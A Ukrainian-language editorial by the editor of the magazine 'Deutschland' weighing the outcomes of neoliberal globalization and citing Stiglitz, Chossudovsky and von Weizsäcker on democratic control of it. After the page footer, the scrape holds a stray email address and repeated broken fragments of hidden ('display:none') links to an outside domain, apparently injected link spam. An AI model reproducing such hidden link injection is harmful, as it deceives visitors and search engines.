ГЛОБАЛІЗАЦІЯ - ЩО ДАЛІ?

Петер Гінтередер
(головний редактор журналу "Deutschland")

Захоплення пророцтвами неоліберального дискурсу помітно охололо. Після обіцянок турбокапіталізму результати десятиліття ринкового господарства в чистому вигляді витверезвлюють. настрій - мов після "золотої лихоманки": декілька переможців, надто багато переможених. Глобалізація відкрила комерційну епоху й екстремально прискорила швидкість обігу товарів і капіталу. Багатьом країнам вона принесла демократію і плюралізм. Але які ж правила мають бути чинними в надзвичайно складному всесвітньому суспільстві? Ніхто ще не сформулював прийнятної відповіді на це запитання. Замість того, щоби допомогти країнам третього світу здобути "ринково-економічну зрілість", їх перетворено на місце розташування підприємств із низьким рівнем зарплатні, а подекуди й з використанням дитячої праці. "В багатьох країнах громадянське суспільство було знищено за всіма правилами неоліберального мистецтва. Багатство зосереджується в дедалі меншій кількості країн і осіб". До такого фундаментально-критичного висновку приходить канадський вчений-економіст Майкл Хосудовські у своїй книжці "The Globalization of Poverty", в німецькому перекладі - "Global brutal".

Як керувати процесом глобалізації, як формувати його політично? двоє авторів, до думки яких прислухаються у світі, розмірковують над цим питанням: Йозеф Е. Штігліц, нагороджений 2001 року Нобелівською премією в галузі економіки, упродовж багатьох років тримав у своїх руках важілі влади на посаді головного економіста Світового банку. "У затінку глобалізації" він вимагає відповідальності міжнародних фінансових структур - МВФ і Світового банку - і їх грунтовної демократизації. Національна держава, яка створює певні рамки в глобальному контексті, втрачає силу. Застаріла модель у джунглях всесвітнього суспільства? Ні, говорить авторитетний вчений, депутат Бундестагу від СДПН Ернст Ульріх фон Вайцзекер у своїй праці "Демократизація і випробування глобалізацією". Але ми мусимо "віднайти демократію", аби тримати глобалізацію під демократичним контролем.

... "Значна частина молодих людей уже давно оголосила війну неоліберальному ладові й працює в найрізноманітніших ініціативах над конкретними альтернативами". - так змальовує політолог Клаус Лєгві портрет молодого покоління нового тисячоліття. Повернення до політики? Подекуди воно вже відбулося. Шеф кассельської "Dokumenta 11", найважливішої в світі виставки сучасного мистецтва, Оквуі Енвецор виступив за політизацію мистецтва і вибрав для експозиції мудрі. вражаючі твори. Глобалізація - мрія чи травма? "Кінець історії" ще не прийшов.

www.magazine-deutschland.de

назад


goutsoullac@rambler.ru

p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none">